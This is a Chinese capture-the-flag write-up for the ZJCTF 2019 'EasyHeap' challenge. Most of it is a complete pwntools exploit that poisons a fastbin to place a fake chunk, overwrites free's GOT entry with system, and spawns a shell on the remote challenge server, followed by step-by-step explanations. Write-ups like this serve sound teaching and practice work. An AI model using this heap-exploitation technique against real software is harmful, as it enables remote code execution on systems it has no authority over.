[ZJCTF 2019]EasyHeap-house of spirit
- 先给出exp,exp中我标明了每一个步骤
- 每个步骤执行完后,内存中的地址空间我也贴出来了
exp
from pwn import *
p = remote('node3.buuoj.cn',29012)
context.log_level = 'debug'
def creat(size,content):
p.sendlineafter('Your choice :',str(1))
p.sendlineafter('Size of Heap : ',str(size))
p.sendafter('Content of heap:',content)
def edit(index,size,content):
p.sendlineafter('Your choice :',str(2))
p.sendlineafter('Index :',str(index))
p.sendlineafter('Size of Heap : ',str(size))
p.sendafter('Content of heap : ',content)
def delete(index):
p.sendlineafter('Your choice :',str(3))
p.sendlineafter('Index :',str(index))
creat(0x60,'a'*0x58)
creat(0x60,'b'*0x60)
creat(0x60,'c'*0x60)
delete(2)
payload = b'/bin/sh\x00' +b'\x00'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
creat(0x60,'a')
creat(0x60,'aaa')
elf = ELF('./easyheap')
payload = b'a'*3 + p64(0)*4 + p64(elf.got['free'])
edit(3,len(payload),payload)
edit(0,8,p64(elf.plt['system']))
delete(1)
p.interactive()
step1 创建3个chunk
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/d717a8d92ca869070b50a5e2917e776f.png#pic_center)
step2 释放chunk2
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/144344843191c9ae8035212f1e6d1dcc.png#pic_center)
step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/006866ab77167ca784bf895cea7a2ef7.png#pic_center)
step4 连续申请两次,得到的chunk2 就是我们在heaparray 附近的fake chunk
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/d73493bfba0f4480c59f1986a909de7c.png#pic_center)
step5 通过编辑chunk0,修改free_got 为 system_plt
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/390b79a66e08baee4b3c6de2978f8f85.png#pic_center)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/2cb37c19dd6d00d3dbe93fb9fec3383c.png#pic_center)
step6 释放chunk1,会执行free(chunk1中的内容),即system(’/bin/sh’)